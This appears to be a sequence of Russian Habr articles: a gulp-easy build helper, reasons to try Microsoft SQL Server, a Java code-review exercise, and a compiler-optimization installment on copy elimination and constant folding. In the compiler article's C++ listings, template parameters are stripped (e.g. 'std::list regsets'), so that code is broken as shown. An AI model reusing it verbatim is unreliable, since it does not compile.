- master
script:
- /scripts/service.sh $PORTAINER_ADMIN $PORTAINER_PASS
```
Думаю на этом все, прикрепляю ссылку на [github](https://github.com/dailysergey/docker_portainer). | https://habr.com/ru/post/482118/ | null | ru | null |
# gulpfile в 10 строк? Легко! — упрощаем создание типовых задач
Последнее время почти в любом проекте требуется сделать сборку less/sass/css/js/html и т.д. файлов. Gulp является отличным решением для выполнения этих задач, это глоток воздуха после grunt'a, но и он не идеален.
Например, если нужно сделать сборку common js, используя browserify, то нужно подключать с десяток зависимостей и писать почти 50 строчек кода. Вот [один из примеров](https://github.com/gulpjs/gulp/blob/master/docs/recipes/fast-browserify-builds-with-watchify.md).
**Нужно упрощать gulpfile.js**
Проблема
--------
Когда создаешь новый проект, то приходится каждый раз устанавливать с десяток npm модулей и таскать из проекта в проект 50+ строк кода, что весьма неудобно и попутно можно что-нить сломать/забыть, если разработчик не стал вчитываться в код, который перетаскивает и изменяет.
Решение
-------
В результате родилось решение в виде npm модуля [gulp-easy](https://www.npmjs.com/package/gulp-easy), которое делает жизнь лучше. В модуле накоплены «кейсы», которые встречались в каждом нашем проекте:
1. Каждый gulp файл имеет на выходе две задачи: *default* для разработчика и *production* для релизов в продакшен.
2. В режиме продакшена включается компрессия, а в режиме разработчика включается «слушание» (watch) изменений и добавляется sourcemap
3. Наиболее популярные компиляции — это common js -> bundle и less -> css
4. Ошибки, которые происходят при компиляции (в режиме watch) нужно подавлять, чтобы процесс не умер незаметно.
5. Для css и js файлов неплохо бы всегда создавать gzip
6. Базовая директория исходников и директория для публикации обычно выносятся в конфигурацию
В итоге типовые задачи можно сократить до такого вида:
```
require('gulp-easy')(require('gulp'))
.config({
dest: 'app/public'
})
.less(['less/header.less', 'less/main.less'], 'style.css')
.js('js/index.js', 'app/public/lib/main.js')
```
Этот код создает следующие задачи для gulp:
* Соединяет и компилирует less файлы *less/header.less*, *less/header.less* в css файл *app/public/style.css*. Базовая директория указана в конфигурации.
* Компилирует common js код из файла *js/index.js* в файл *app/public/lib/main.js*.
* Подписывается на изменение исходников и выполняет соотвествующие задачи при их изменении.
А если задачи выходят за рамки компиляции js и css кода, то можно добавить свою задачу:
```
require('gulp-easy')(require('gulp'))
// ...
.task(function(gulp, taskName, isCompress, isWatch) {
gulp.src(['images/*']).pipe(gulp.dest('public/images2/'));
}, function(gulp, taskName, isCompress) {
gulp.watch(['images/*'], [taskName]);
})
```
Которая копирует все файлы из директории *images* в директорию *public/images2* и подписывается на изменение файлов в исходниках.
Подробное описание всех доступных методов можно увидеть в документации на [гитхабе](https://github.com/affka/gulp-easy).
Че за… (а кому это нужно?)
--------------------------
Действительно, модуль [gulp-easy](https://www.npmjs.com/package/gulp-easy) писался для своих нужд. Но вполне вероятно, что у вас схожие типовые задачи или вы сделаете форк и реализуете свои задачи в подобном стиле. Так что кому-то должно пригодиться данное решение.
Бонус
-----
В качестве эксперимента и собственного развития я написал этот модуль в стиле es6 — с использованием классов, наследований и импорта/экспорта. На node.js это запускается при помощи *babel* (да, Node.js 4.0.0 поддерживает некоторые вещи из es6, но далеко не все — например там нет конструкций import/export) — кому интересно, смотрите [исходники](https://github.com/affka/gulp-easy).
С любыми пожеланиями можете писать в личку или на почту — affka@affka.ru
Удачного времени суток! | https://habr.com/ru/post/267471/ | null | ru | null |
# 10 причин почему именно сейчас стоит попробовать Microsoft SQL Server
### Причина №1 — Microsoft SQL Server теперь работает и под Linux
16 ноября 2016 года Microsoft опубликовал первую публичную кросплатформенную версию **SQL Server VNext**, которая теперь работает и под Linux: [Public preview of the next release of SQL Server — Bring the performance and security of SQL Server to Linux and Windows](https://www.microsoft.com/en-us/sql-server/sql-server-vnext-including-Linux#resources)
| Билд | Версия setup.exe | Ветка | KB / Описание | Дата релиза |
| --- | --- | --- | --- | --- |
| 14.0.1.246 | 2016.140.1.246 | CTP | [Microsoft SQL Server vNext Community Technology Preview 1 (CTP1) (Linux support)](https://www.microsoft.com/en-us/evalcenter/evaluate-sql-server-vnext-ctp) | 2016-11-16 |
Скачать дистрибутив для Windows можно по прямой [ссылке](http://care.dlservice.microsoft.com/dl/download/F/6/0/F607E0C4-43B2-4170-A2A3-9823132B2DDC/SQLServerVnextCTP1-x64-ENU.iso) без регистрации.
### Причина №2 — Microsoft SQL Server Developer Edition бесплатен для разработки и тестирования
В апреле 2016 года Microsoft наконец-то сделала бесплатной версию для разработчиков, которая по своему функционалу полностью совпадает с Enterprise. До этого стоимость одной разработческой лицензии была в районе 2-3 тысяч рублей.
При этом фактически Microsoft разрешает использовать Developer Edition 2016 и для тестирования, подробнее это описано в данной статье [Is User Acceptance Testing Covered Under Developer Edition?](https://www.littlekendra.com/2016/07/12/is-user-acceptance-testing-covered-under-developer-edition/)
Для того, чтобы скачать собственную версию SQL Server Developer Edition необходимо просто присоединиться к программе [Visual Studio Dev Essentials](https://www.visualstudio.com/en-us/products/visual-studio-dev-essentials-vs.aspx). После регистрации по [ссылке](https://my.visualstudio.com/downloads?q=sql%20server%20developer) будут доступны следующие дистрибутивы для установки:
| Версия | Дата релиза | Размер, Мб | SHA1 |
| --- | --- | --- | --- |
| SQL Server 2016 Developer (x64) — DVD (English) | 2016-06-01 | 2103 | 1B23982FE56DF3BFE0456BDF0702612EB72ABF75 |
| SQL Server 2014 Developer Edition with Service Pack 1 (x64) — DVD (English) | 2015-05-21 | 3025 | BFEE1F300C39638DA0D2CD594636698C6207C852 |
| SQL Server 2014 Developer Edition with Service Pack 1 (x86) — DVD (English) | 2015-05-21 | 2462 | ED3C70507A73BCC63D67CFA272CD849B9418A18E |
| SQL Server 2014 Developer Edition (x64) — DVD (English) | 2014-04-01 | 2486 | F73F430F55A71DA219FC7257A3A28E8FC142530F |
| SQL Server 2014 Developer Edition (x86) — DVD (English) | 2014-04-01 | 2039 | 395B35FD80AA959B02B0C399DA1BB0C020DB6310 |
### Причина №3 — Поддержка и развитие среды программирования R
Microsoft вкладывает огромные усилия в популяризацию и развитие языка R, стараясь сделать его лидером в области статистических расчетов. При этом Microsoft предлагает 2 собственные версии дистрибутивов среды R, разница между которыми и Open-Source R приведена в таблице ниже:
| Parameter/R Version | Open-Source R (OSR) | Microsoft R Open (MRO) | Microsoft R Server (MRS) |
| --- | --- | --- | --- |
| Processing | In-Memory | In-Memory | In-Memory + Disk |
| Analysis Speed | Single threaded | Multi threaded | Single threaded |
| Support | Community | Community | Community + Commercial |
| Analysis Breadth and depth | Over 7500 community packages | Over 7500 community packages | 7500 packages + Commercial Parallelized Algorithms and Functions |
| License | Open Source | Open Source | Commercial License — supported release with indemnity |
Подробнее об этом можно прочитать здесь [Advanced Analytics with R & SQL: Part I — R Distributions](http://www.sqlservercentral.com/articles/Data+Science/146555/)
### Причина №4 — Для Microsoft SQL Server существует бесплатная и ежемесячно обновляемая среда разработки SSMS
В свое время начинал работу с Microsoft SQL Server 2005 и в то далекое время SSMS представлял из себя глючный скудный интерфейс, который по сравнению с TOAD для Oracle и даже PLSQL Developer вызывал только слезы и боль. В общем,10 лет назад работа в среде SSMS представляла из себя сплошное наказание. Но вот уже более чем 4 года лучшего инструмента для работы c базой данных (к сожалению пока только с SQL Server, но вдруг он начнет работать и с другими) я не встречал, хотя в свое время перепробовал много чего [Инструменты и утилиты Microsoft SQL Server](http://sqlserver-kit.org/ru/sql-server-utilities). При этом если добавить несколько [бесплатных расширений](http://sqlserver-kit.org/ru/ssms/ssms-addins), то SSMS становится просто вне конкуренции среди аналогичных коммерческих и бесплатных продуктов.
Начиная с июля 2016 года SSMS стала выпускаться в виде отдельного дистрибутива ежемесячно, что позволило значительно ускорить процесс внедрения нового функционала и устранения текущих багов. На текущий момент список версий для SSMS выглядит так:
| Версия/Ссылка для загрузки | Билд | Дата релиза | Размер, Мб |
| --- | --- | --- | --- |
| [17.0 RC1 Release](https://go.microsoft.com/fwlink/?LinkID=835608) | 14.0.16000.64 | 2016-11-16 | 687 |
| [16.5 Release](http://go.microsoft.com/fwlink/?linkid=832812) **Latest** | 13.0.16000.28 | 2016-10-26 | 894 |
| [16.4.1 Release](http://go.microsoft.com/fwlink/?LinkID=828615) | 13.0.15900.1 | 2016-09-23 | 894 |
| 16.4 Release **Deprecated** | 13.0.15800.18 | 2016-09-20 | |
| [16.3 Release](http://go.microsoft.com/fwlink/?LinkID=824938) | 13.0.15700.28 | 2016-08-15 | 806 |
| [July 2016 Hotfix Update](http://go.microsoft.com/fwlink/?LinkID=822301) | 13.0.15600.2 | 2016-07-13 | 825 |
| July 2016 Release | 13.0.15500.91 | 2016-07-01 | |
| [June 2016 Release](http://go.microsoft.com/fwlink/?LinkID=799832) | 13.0.15000.23 | 2016-06-01 | 825 |
| [SQL Server 2014](http://download.microsoft.com/download/1/5/6/156992E6-F7C7-4E55-833D-249BD2348138/ENU/x86/SQLManagementStudio_x86_ENU.exe) | 12.0.4100.1 | 2015-05-14 | 815 |
| [SQL Server 2012](http://download.microsoft.com/download/F/6/7/F673709C-D371-4A64-8BF9-C1DD73F60990/ENU/x86/SQLManagementStudio_x86_ENU.exe) | 11.0.6020.0 | 2015-11-21 | 964 |
| [SQL Server 2008 R2](https://www.microsoft.com/en-us/download/details.aspx?id=30438) | 10.50.4000 | 2012-07-02 | 161 |
Таблица взята [отсюда](http://sqlserver-kit.org/ru/ssms)
SQL Server Management Studio (17.0 RC1) замечания:
1. **Не рекомендована для использования на производственных серверах**.
2. Работает с CTP v.Next на Windows и Linux.
3. Устранена проблема с ShowPlan.
4. Вы можете использовать и 16.x и 17.x версии не зависимо друг от друга на одной машине, но при этом некоторые настройки (например, Tools/Options) будут общими.
### Причина №5 Схема обновлений для Microsoft SQL Server была упрощена и обновления выходят теперь на регулярной основе
Если ранее обилие различных дистрибутивов и фиксов для SQL Server вызывало недоумение, а правильный порядок их установки был уделом избранных администраторов, то теперь с переходом на инкрементную модель обновления надо знать следующее:
1. Устанавливаем нужную версию и редакцию SQL Server — [Версии Microsoft SQL Server](http://sqlserver-kit.org/ru/home/version)
2. Устанавливаем последний пакет обновления для текущей версии SQL Server — **SP** Service Pack
3. Устанавливаем последнее кумулятивное обновление для текущего пакета обновления — **CU** Cumulative Update
4. Если есть определенные проблемы, то ищем необходимый для их устранения фикс — **COD** Critical On-Demand
Подробнее о преимуществах перехода на инкрементную модель обновления рассказано в статье [Announcing updates to the SQL Server Incremental Servicing Model (ISM)](https://blogs.msdn.microsoft.com/sqlreleaseservices/announcing-updates-to-the-sql-server-incremental-servicing-model-ism/)
COD, CU, CTP, GDR, QFE, RC, RDP, RTM, RTW, TAP, SP — что все это и как с этим жить? Подробнее в замечательной статье [#BackToBasics: Definitions of SQL Server release acronyms](https://blogs.sentryone.com/aaronbertrand/back-to-basics-release-acronyms/)
### Причина №6 Microsoft SQL Server теперь можно установить в 3 клика
Если вас пугает с первого взгляда громоздкий интерфейс установки SQL Server и множество кнопок Next, то специально для вас был разработана упрощенная версия инстраллера (так называемый базовый инсталятор), которая сводит все к 3 кликам: [The SQL Server Basic Installer: Just Install It!](https://blogs.msdn.microsoft.com/sqlreleaseservices/the-sql-server-basic-installer-just-install-it-2/).
Но я все таки рекомендую использовать стандартную схему или освоить установку через командую строку — [Install SQL Server 2016 from the Command Prompt](https://msdn.microsoft.com/en-us/library/ms144259.aspx). Также можно посмотреть в сторону Open Source проекта [SQL Server FineBuild](https://sqlserverfinebuild.codeplex.com/).
### Причина №7 — Очень развитое сообщество разработчиков
Количество ресурсов для изучения и решения проблем, связанных с SQL Server, просто огромно — по моей оценке более 170 качественных и действительно полезных проектов, часть из них собрано здесь: [Ресурсы по Microsoft SQL Server](http://sqlserver-kit.org/ru/resources). Само сообщество очень дружелюбно и всегда готово прийти на помощь, оперативно ответить на правильно поставленные вопросы, особенно активно используется twitter и slack каналы:
* [SQLServerCentral Forum](http://www.sqlservercentral.com/Forums/) (> 10^6 Участников)
* [Slack #sqlhelp](https://sqlcommunity.slack.com/messages/sqlhelp/) (> 700 Участников )
* [Slack #firstresponderkit](https://sqlcommunity.slack.com/messages/firstresponderkit/) (> 70 Участников )
* [Twitter #sqlhelp](https://twitter.com/hashtag/sqlhelp) (> 500 Участников)
* [SQL.ru SQL Server Forum](http://www.sql.ru/forum/microsoft-sql-server) (> 10^5 Участников)
* [VK.com #sqlcom](https://vk.com/sqlcom) (> 3600 Участников)
Наиболее активных представителей SQL Server сообщества с их блогами и данными для связи можно найти [тут](http://sqlserver-kit.org/ru/home/people).
### Причина №8 Microsoft Azure CloudDB
Если нет желания скачивать, устанавливать и настраивать SQL Server на своей машине, то можно очень быстро опробовать его в облаке Azure бесплатно. Начиная с версии CloudDB 2016 весь новый функционал внедряется именно в облачную платформу, а затем дорабатывается движок для необлачных версий. При этом вся головная боль по поддержке, сопровождению и обновлению SQL Server будет лежать на плечах инженеров Microsoft Azure.
Попробовать Microsoft Azure CloudDB можно бесплатно в тестовом режиме, зарегистрировавшись здесь [SQL Database – Cloud Database as a Service](https://azure.microsoft.com/en-us/services/sql-database/).
### Причина №9 — Множество улучшений и дополнений функционала в версии 2016
Подробнее можно почитать в статье [T-SQL Enhancements in SQL Server 2016](http://sqlmag.com/scaling-success-sql-server-2016/t-sql-enhancements-sql-server-2016)
Кратко для T-SQL:
* `CREATE OR ALTER`
* `DROP IF EXISTS`
* `STRING_SPLIT Function`
* `TRUNCATE TABLE with PARTITION`
* `FOR SYSTEM_TIME Clause`
* `FOR JSON Clause`
* `JSON Functions`
* `OPENJON Function`
* `FORMATMESSAGE Function`
* `Stored procedure sp_execute_external_script to execute R scripts`
### Причина №10 — С выходом SP1 для SQL Server 2016 большинство функционала из редакции для бизнеса доступно и в стандартной редакции
Данная [новость](https://blogs.technet.microsoft.com/dataplatforminsider/2016/11/16/sql-server-2016-service-pack-1-generally-available/) была опубликована 16 ноября 2016 года и очень [позитивно воспринята](https://www.brentozar.com/archive/2016/11/sql-server-2016-standard-edition-now-many-enterprise-edition-features/) большинством разработчиков.
Кратко, что вошло в стандартную редакцию:
* Performance features – in-memory OLTP (Hekaton), in-memory columnstore, operational analytics
* Data warehousing features – partitioning, compression, CDC, database snapshots
* Some security features – Always Encrypted, row-level security, dynamic data masking
Так и осталось в редакции для бизнеса:
* Full Always On Availability groups (multiple databases, readable secondaries)
* Master Data Services, DQS
* Serious security features – TDE, auditing
* Serious BI – mobile reports, fuzzy lookups, advanced multi-dimensional models, tabular models, parallelism in R, stretch database
Подробнее о нововедении можно узнать на [SQL Server 2016 SP1 editions](https://www.microsoft.com/en-us/sql-server/sql-server-editions)
### Заключение
Я ни в коем случае не утверждаю, что Microsoft SQL Server является лучшей реляционной базой данных в нашей Вселенной и тем более не агитирую бросать все дела и начинать ее использовать (и да, она не бесплатна для коммерческого использования и у нее хватает проблем). Просто за последние 2 года Microsoft приложил огромное количество усилий (чего только стоит выкладывание в Open Source [PowerShell](https://github.com/PowerShell/PowerShell) и [ASP.NET Core MVC](https://github.com/aspnet/Mvc)), чтобы сделать данный продукт удобным, быстрым и надежным. И мне, кажется, у него отчасти это получилось. Так это или нет, решать только вам. | https://habr.com/ru/post/316064/ | null | ru | null |
# Code Review case 1
Я работал в компании, в которой отсутствует практика code review. Для самосовершенствования и расширения кругозора я бы хотел получить немного конструктивной критики.
Сейчас предлагаю разобрать повторяющийся случай с обилием ветвлений.
#### Задание
Пользователь намеревается перетащить файл мышкой из одного окна папки в другое. Нужно написать метод-диспетчер, который проверит суть события и возможность его обработки, если нужно, уточнит детали, затем вызовет нужный метод или выдаст сообщение об ограничениях.
Если пользователь перетащил и отпустил из папки в папку и другая папка находится на другом разделе, то проверить возможность копирования. Если скопировать можно, то скопировать. Иначе выдать сообщение, что нельзя скопировать. Невозможно скопировать бывает по причинам: нет прав на запись; не хватает свободного места; файловая система не поддерживает символы в имени; имя файла в папке назначения будет иметь слишком длинный путь; в папке уже есть файл с таким именем (вызвать диалог на перезапись файла, если пользователь согласен, то перезаписать).
Если папка назначения находится на том же разделе, что и файл, то переместить файл. Невозможно переместить: нет прав на запись; полный путь назначения окажется слишком длинным, в папке уже есть файл с тем же именем (вызвать диалог); файл системный и его нельзя удалить; уже есть файл с таким имененем (вызвать диалог на перезапись файла, если пользователь согласен, то перезаписать).
Если пользователь перенес файл в другой окно, но оно имеет тот же путь, то создать копию файла (Добавить к имени « копия #», где # – наименьшее положительное число, делающее файл уникальным). Невозможно создать копию: нет прав на запись; полный путь слишком длинный; не хватает свободного места.
Если пользователь переносил правой кнопкой, то вызвать диалог для выбора действия (скопировать/переместить/создать ярлык/создать копию).
Если пользователь отпустил файл в том же окне (файл сорвался) левой кнопкой, то ничего не делать. А если правой, то предложить создать копию или ярлык. Если файл сорвался не в окне папки, то ничего не делать.
Со временем могут появиться новые условия, новые действия, могут измениться уже описанные условия для выбора действий.
#### Решение для обсуждения
Предлагаю своё спорное решение на Java, в котором я достиг второго наибольшего уровня вложенности if:
```
public static void dispatchFileDropping(
FileDragNDropEvent event
) {
//------------------------------------------------------
// Исходные предикаты
// (имена даны в стиле математической логики).
boolean A = isTargetPlaceIsDirectoryWindow(event);
boolean B = isTargetDirEqualsSourceDir(event);
boolean C = isTargetVolumeEqualsSourceVolume(event);
boolean D = isMouseRightButtonUsed(event);
boolean E = isSystemFileDroped(event);
boolean F = isTargetVolumeHasFreeSpace(event);
boolean G = isTargetDirWritable(event);
boolean H = isSourceDirCleanable(event);
boolean I = isFileNameOkForTarget(event);
boolean J = isNewFileFullPathOkForTargetLimit(event);
boolean K = isTargetDirHasSameNamedFile(event);
boolean L = isTargetDirSameNamedFileIsWritable(event);
Actions userChoise
= (A & D) ? askUserForAction(event) : null;
if (userChoise == Actions.CANCEL) return;
boolean M = (userChoise == Actions.COPY);
boolean N = (userChoise == Actions.CLONE);
boolean O = (userChoise == Actions.MOVE);
boolean P = (userChoise == Actions.LINK);
//------------------------------------------------------
// С каким случаем имеем сейчас дело.
boolean copyCase = (M & !K) | (A & !B & !C & !D & !K);
boolean copyRewriteCase
= (M & K) | (A & !B & !C & !D & K);
boolean cloneCase = N | (A & B & !D);
boolean moveCase = (O & !K) | (A & !B & C & !D & !K);
boolean moveRewriteCase = (O & K) | (A & !B & C & !D & K);
boolean createLinkCase = P;
//------------------------------------------------------
// Пользователь может отказаться от перезаписи
// существующего файла.
if (copyRewriteCase | moveRewriteCase) {
if (askUserWantToRewrite() == Answers.NO) return;
}
//------------------------------------------------------
// Вычисляем возможность для каждого случая.
boolean isPossibleToCopy = F & G & I & J;
boolean isPossibleToCopyRewrite = isPossibleToCopy & L;
boolean isPossibleToClone = isPossibleToCopy;
boolean isPossibleToMove = isPossibleToCopy & !E & H;
boolean isPossibleToMoveRewrite = isPossibleToMove & L;
boolean isPossibleToLink = isPossibleToCopy & !K;
//------------------------------------------------------
// Либо выполняем операцию, либо объясняем,
// почему не выполнили ее.
String errorMessage = "";
if (copyCase & !isPossibleToCopy) {
errorMessage = "Невозможно скопировать файл.";
} else if (copyRewriteCase & !isPossibleToCopyRewrite) {
errorMessage = "Невозможно перезаписать файл.";
} else if (cloneCase & !isPossibleToClone) {
errorMessage = "Невозможно создать копию.";
} else if (moveCase & !isPossibleToMove) {
errorMessage = "Невозможно переместить файл.";
} else if (moveRewriteCase & !isPossibleToMoveRewrite) {
errorMessage
= "Невозможно переместить файл с заменой.";
} else if (createLinkCase & !isPossibleToLink) {
errorMessage = "Невозможно создать ссылку.";
}
String reasons = " Причины: \n";
if (!F) {
reasons += "-- закончилось место на диске \n";
}
if (!G) {
reasons
+= "-- нет прав на запись в папке назначения \n";
}
if (!I) {
reasons
+= "-- имя файла содержит недопустимые символы \n";
}
if (!J) {
reasons
+= "-- полный путь нового файла превышает предел \n";
}
if (moveCase | moveRewriteCase) {
if (E) {
reasons
+= "-- нельзя удалить системный файл \n";
}
if (!H) {
reasons
+= "-- нет прав на удаление в папке \n";
}
} else if (copyRewriteCase | moveRewriteCase) {
if (!L) {
reasons
+= "-- нет прав на изменение файла \n";
}
} else if (createLinkCase) {
if (K) {
reasons
+= "-- файл с таким именем уже существует \n";
}
}
if (errorMessage.isEmpty()) {
if (copyCase) copy(event);
if (copyRewriteCase) copyRewrite(event);
if (cloneCase) clone(event);
if (moveCase) move(event);
if (moveRewriteCase) moveRewrite(event);
if (createLinkCase) createLink(event);
} else {
showMessage(errorMessage + reasons);
}
}
``` | https://habr.com/ru/post/417903/ | null | ru | null |
# Компиляция. 8: оптимизация
После приятного отдыха продолжаем писать компилятор для нашего джей-скрипа.
В предыдущем посте реализовали взятую с потолка [эвристику для назначения регистров](http://habrahabr.ru/blogs/programming/99595/), и заодно начали оптимизировать код. А ещё перед этим читатели [обнаружили баг](http://habrahabr.ru/blogs/programming/99592/#comment_3082245) в реализации присваивания.
### Далее в посте:
1. Починка бага
2. Чистка копирований
3. Что получилось?
4. Сворачивание констант
5. Реализация
### Починка бага
Дело в том, что мы решили было схитрить, и при первом присваивании значения переменной не выполнять собственно копирование, а просто объявить регистр с промежуточным значением местом хранения переменной:
`ID '=' EXPR { $$ = $3;
if(vars[$1])
emit(command::add, vars[$1], $3, 0);
else
vars[$1] = $3; // new var
}`
Тогда при компиляции операции типа `a=2;` получим одну команду `MOV R1, 2` (из свёртки 2) и запомним `vars["a"]=R1` (из свёртки присваивания).
Всё верно, просто и естественно.
Проблема возникала тогда, когда в правой части присваивания использовалось не промежуточное значение, а нечто долгоживущее: например, другая переменная.
```
a = 2;
b = a;
```
Во второй свёртке присваивания не генерируется новый код — только запоминаем `vars["b"]=R1`
Обе переменные оказались в одном регистре, и при изменении одной из них — изменится и вторая.
Решение лежит на поверхности: для каждой новой переменной заводим новый регистр.
`ID '=' EXPR { $$ = $3;
if(!vars[$1]) vars[$1] = newreg();
emit(command::add, vars[$1], $3, 0);
}`
Тогда из `a=2;` получим уже пару команд
```
MOV R1, 2
ADD R2, R1, 0
```
и запоминаем `vars["a"]=R2`
Если за ней следует `b = a;` — то к коду добавится `MOV R3, R2, 0` и `vars["b"]=R3`
Иначе говоря, теперь в генерируемом коде будет уйма лишних копирований из регистра в регистр, а назначение регистров будет работать ещё медленнее — из-за того, что число использованных регистров растёт.
Постараемся найти те случаи, где копирование излишне (например, если переменная из правой части присваивания в дальнейшем не изменяется), и исправим команды, использующие копию, так, чтоб использовали оригинал.
### Чистка копирований
*Copy elimination* — одна из простых оптимизаций, которую я [обещал](http://habrahabr.ru/blogs/programming/99162/) с самого первого поста серии. Как и для оптимизаций, выполняемых во время назначения регистров, для чистки удобно применить data-flow analysis. Важным отличием от двух предыдущих применений DFA (проход назад для обнаружения живых регистров, проход вперёд для обнаружения сохранённых регистров) будет являться то, что в каждой точке храним не одно множество регистров, а *разбиение* всех регистров на множества одинаковых. Можно смотреть на это как на более общий случай DFA, чем два рассмотренных прежде. (Прежде, регистры всегда разбивались на два множества — «включённые» и «исключённые».)
Как же будем разбивать регистры? * команда `ADD RA, RB, 0` переносит `RA` во множество к `RB`;
* любая другая команда, изменяющая регистр, выносит его во множество-синглетон;
* `RA` и `RB` будут вместе в команде C, если они вместе *во всех* командах, из которых можно перейти в C (непосредственно или прыжком).
После получения окончательного разбиения будет видно, где вместо копии можно использовать оригинал: вместо `RA` можно использовать `RB`, если они вместе *во всех* командах, где используется `RA`.
И ещё одна тонкость: поскольку при переходах от команды к команде мы не наращиваем множества, а усекаем (пересекаем все входящие множества), то перед запуском DFA нужно инициализировать множества не в пустые, а во всеобъемлющие — и по мере работы алгоритма множества усекутся, как надо. Чтобы не тратиться и не держать взаправду в каждой команде множество всех существующих регистров, договоримся считать «отсутствующий итератор» указывающим именно на такое всеобъемлющее множество.
Для удобства, три нужных нам операции над разбиениями оформляем в класс. В разбиении храним список множеств, на которые разбиты регистры (кроме «глобального» множества, в котором регистры все вместе находятся изначально), и для каждого регистра (кроме тех, что в «глобальном» множестве) — итератор того множества, в котором он находится.
С древесным `std::set` у меня возникли непонятные проблемы, так что я написал себе контейнер `bit::set` с аналогичным интерфейсом, но с `std::bitset` внутри. Параметром шаблона он принимает максимальное значение ключа в множестве.
Заодно в `bit::set` вынесены стандартные операции над множествами (`&=`, `|=`).
`typedef bit::set255> regset;
class regPartition {
typedef std::list regsets;
regsets sets;
std::map byreg;
// изначально: все регистры в "глобальном" разбиении
public:
// возвращает: изменилось ли разбиение
bool add(regnum copy, regnum orig) {
if (byreg.count(copy)) {
if(byreg[copy]==byreg[orig]) // уже вместе
return false;
byreg[copy]->erase(copy);
// был последним?
if(!byreg[copy]->size())
sets.erase(byreg[copy]);
}
assert(byreg.count(orig));
byreg[copy] = byreg[orig];
byreg[copy]->insert(copy);
return true;
}
void remove(regnum r) {
if (byreg.count(r)) {
if(byreg[r]->size()==1) return; // уже один
byreg[r]->erase(r);
}
byreg[r] = sets.insert(sets.end(), regset());
byreg[r]->insert(r);
}
// возвращает: изменилось ли разбиение
bool isect(/\*const\*/regPartition& p, const command& self) {
bool changed = false;
// оставить вместе только тех, кто вместе и в p
foreach(i, byreg) {
regnum r = i->first;
// split by p.byreg[r]
regsets::iterator withR = i->second,
withoutR = sets.insert(sets.end(), regset());
foreach2(j, (\*withR), next)
// не разделяем, если текущая команда -- mov с теми же регистрами:
// всё равно на следующем шагу объединятся
if(!(self.opcode==command::add && !self.src2 &&
((self.src1==r && self.dest==\*j)||(self.dest==r && self.src1==\*j)))
&&((!p.byreg.count(r) && p.byreg.count(\*j)) || // R in global, J isn't
(p.byreg.count(r) && !p.byreg[r]->count(\*j)))) { // R not in global
withR->erase(\*j);
withoutR->insert(\*j);
byreg[\*j] = withoutR;
}
if(!withoutR->size()) // ничего не отделилось
sets.erase(withoutR);
else // разделили
changed = true;
}
// теперь те, что в глобальном в this, но не в p
foreach(i, p.sets) {
regset inP;
foreach(j, (\*i))
if(!byreg.count(\*j)) inP.insert(\*j);
if(inP.size()) {
regsets::iterator newSet = sets.insert(sets.end(), inP);
foreach(j, inP) byreg[\*j] = newSet;
changed = true;
}
}
return changed;
}
// применение разбиения: формируем для r множество возможных замен (во всём коде)
void apply(regnum r, regset& global) {
if (!r) return; // may not be replaced
assert(byreg.count(r));
if(!global.size()) // uninitialized set
global = \*byreg[r];
else // initialized; intersect
global &= \*byreg[r];
}
}`
В `struct commandn` добавляем новое поле `regPartition copies;`
Теперь привычным образом реализуем DFA, используя уже готовые операции:
`void copies() {
// а) вычисляем разбиения для каждой команды
bool changed = false;
foreach(i, pcode) {
i->copies = regPartition();
// rule 2
if (writesdest(i)) {
i->copies.remove(i->cmd.dest);
changed = true;
}
}
while (changed) {
changed = false;
foreach2(i, pcode, next) {
// rule 1
if (i->cmd.opcode==command::add && !i->cmd.src2)
changed |= i->copies.add(i->cmd.dest, i->cmd.src1);
// rule 3 (next command)
if (hasnext(i))
changed |= next->copies.isect(i->copies, next->cmd);
// rule 3 (jmp target)
if (i->cmd.opcode==command::jz)
changed |= i->tgt->copies.isect(i->copies, i->tgt->cmd);
}
}
// б) вычисляем возможные замены во всём коде
std::vector copies(lastreg+1);
foreach(i, pcode) {
if(readsdest(i))
i->copies.apply(i->cmd.dest, copies[i->cmd.dest]);
if(has2src(i)) {
i->copies.apply(i->cmd.src1, copies[i->cmd.src1]);
i->copies.apply(i->cmd.src2, copies[i->cmd.src2]);
}
}
// в) объединяем копии
for(regnum r=1; r<=lastreg; r++) {
copies[r].erase(r);
if(copies[r].size()) { // остались возможные замены?
regnum s = \*(copies[r].begin()); // заменим r на s
foreach(i, pcode) { // во всём коде
if(i->cmd.dest==r)
i->cmd.dest = s;
if(has2src(i)) {
if(i->cmd.src1==r) i->cmd.src1 = s;
if(i->cmd.src2==r) i->cmd.src2 = s;
}
if(i->cmd.opcode==command::add && i->cmd.src1==i->cmd.dest && !i->cmd.src2) // self-mov
nopOut(i);
}
foreach(c, copies) // и в векторе замен
if(c->count(r)) {
c->erase(r);
c->insert(s);
}
}
}
}`Вызов `copies();` вставим в самое начало цикла оптимизаций, перед проверкой живости.
### Что получилось?
По сравнению с прошлым разом, код сократился ещё на пару команд:
```
00 mov r01, 0
01 mov r02, 0x3e8
02 echo 0x126
03 echo r01
04 echo 0xa0
05 echo r02
06 echo 0xa7
07 le r03, r01, r02
08 jz r03, +0x1d (=0x26)
09 add r03, r01, r02
0a mov r04, 2
0b div r03, r03, r04
0c echo 0x162
0d echo r03
0e echo 0xcc
0f input r04
10 store r01, 1
11 mov r01, 1
12 eq r01, r04, r01
13 jz r01, +4 (=0x18)
14 load r01, 1
15 mov r02, 1
16 sub r02, r03, r02
17 jz 0, -0x11 (=0x7)
18 mov r01, 2
19 eq r01, r04, r01
1a jz r01, +3 (=0x1e)
1b mov r01, 1
1c add r01, r03, r01
1d jz 0, -0x17 (=0x7)
1e load r01, 1
1f mov r03, 3
20 eq r03, r04, r03
21 jz r03, +2 (=0x24)
22 echo 0x146
23 hlt
24 echo 0x16a
25 jz 0, -0x1f (=7)
26 echo 0xff
27 hlt
```
Может показаться, что про исчезнувшие команды (`add r01, r01, 0` и `add r02, r02, 0`) сразу было видно, что они бессмысленные. На самом деле, эти команды принимали бессмысленную форму только после назначения физических регистров, т.е. на самом последнем этапе перед выводом готового п-кода. До тех пор, номера п-регистров у операндов различались; лишь выполненный нами только что анализ позволил их объединить, и удалить ставшее бессмысленным копирование — всё это задолго до назначения физических регистров.
### Сворачивание констант
Ещё одна стандартная оптимизация, которая, как и предыдущие, реализуется при помощи DFA, — *constant folding*. Принцип донельзя прост: если известны значения операндов, то операцию можно выполнить сразу при компиляции. Например, вместо кода
```
MOV R1, 2
MOV R2, 3
ADD R3, R1, R2
```
можем сгенерировать сразу же
```
MOV R3, 5
```
